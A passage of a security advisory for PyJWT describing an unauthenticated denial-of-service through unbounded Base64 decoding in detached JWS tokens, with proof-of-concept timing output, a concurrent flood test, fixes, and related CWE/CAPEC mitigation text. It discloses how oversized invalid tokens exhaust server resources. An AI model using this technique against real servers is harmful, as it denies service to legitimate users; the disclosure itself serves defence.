err=None\n\n[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None\n```\n\n**Key takeaways from these results**\n\n* At **8,000,000 chars**, a single invalid-signature request still causes:\n\n  * **~23 ms** server work\n  * **~32 MB** peak allocations\n  * returns **401** (invalid signature) \u2192 attacker does not need key.\n\n---\n\n## PoC # 2 - Localhost network client\n\n**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.\n\n### Results (client output)\n\n#### payload-chars = 500,000\n\n```text\n=== BASELINE (valid b64=false token) ===\nHTTP: 200\nclient_wall_ms: 6.3499...\nserver_time_ms: 0.10197...\nserver_peak_bytes: 2624\n\n=== ATTACK (INVALID signature - attacker needs no key) ===\nHTTP: 401\nclient_wall_ms: 4.1010...\nserver_time_ms: 2.01217...\nserver_peak_bytes: 2000983\nerror: InvalidSignatureError\n\n=== ATTACK (VALID signature - accepted path still wastes) ===\nHTTP: 200\nclient_wall_ms: 3.6586...\nserver_time_ms: 1.59092...\nserver_peak_bytes: 2001061\n```\n\n#### payload-chars = 2,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06527...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 7.53430...\nserver_peak_bytes: 8000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 6.34682...\nserver_peak_bytes: 8001061\n```\n\n#### payload-chars = 8,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06573...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 23.03403...\nserver_peak_bytes: 32000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 22.09702...\nserver_peak_bytes: 32001061\n```\n\n**Why this is strong evidence**\n\n* The server clearly does heavy work **before** rejecting invalid signatures.\n* The \u201cvalid signature\u201d case shows even accepted requests waste resources due to unused payload segment.\n\n---\n\n## PoC # 3 - Localhost flood / burst concurrency\n\n**File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n**Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation.\n\n### Results (your run: 20 concurrent @ 8,000,000 chars)\n\n```text\ntotal_wall_ms: 1374.5405770000616\n\n(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, \u0027InvalidSignatureError\u0027)\n(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, \u0027InvalidSignatureError\u0027)\n(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, \u0027InvalidSignatureError\u0027)\n(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, \u0027InvalidSignatureError\u0027)\n(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, \u0027InvalidSignatureError\u0027)\n(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, \u0027InvalidSignatureError\u0027)\n(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, \u0027InvalidSignatureError\u0027)\n(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, \u0027InvalidSignatureError\u0027)\n(8,  401, 378.93017700025666, 21.377330999712285, 32000983, \u0027InvalidSignatureError\u0027)\n(1,  401, 281.45106800002395, 21.34223099983501, 32000983, \u0027InvalidSignatureError\u0027)\n```\n\n**Interpretation**\n\n* Each request still costs ~**20\u201323 ms** server processing and **~32 MB** peak allocations.\n* But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other \u2192 clear worker starvation/HoL blocking.\n* All were rejected with **401 InvalidSignatureError** \u2192 still unauthenticated.\n\n---\n\n# Fix \n\n### Goal\n\nPrevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow.\n\n### Minimal change strategy\n\nIn `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**.\n\nTwo safe options:\n\n1. **Reject non-empty payload segment when `b64=false`**\n\n   * Parse header first\n   * If `b64` is false and `payload_segment` is non-empty \u2192 raise `DecodeError` *before* decoding\n   * Then verification uses `detached_payload` only\n\n2. **Skip decoding payload segment entirely when `b64=false`**\n\n   * Keep payload segment as raw bytes or empty\n   * Use detached payload for signing input\n\nThis aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.\n\n(Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).)\n\n---\n\n# Workarounds\n\n* Enforce strict **max token length** at the HTTP boundary (proxy/gateway).\n* Apply rate limiting on verification endpoints.\n* If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `\"b64\": false`.",
  "id": "GHSA-w7vc-732c-9m39",
  "modified": "2026-06-15T19:29:12Z",
  "published": "2026-06-15T19:29:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-178.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list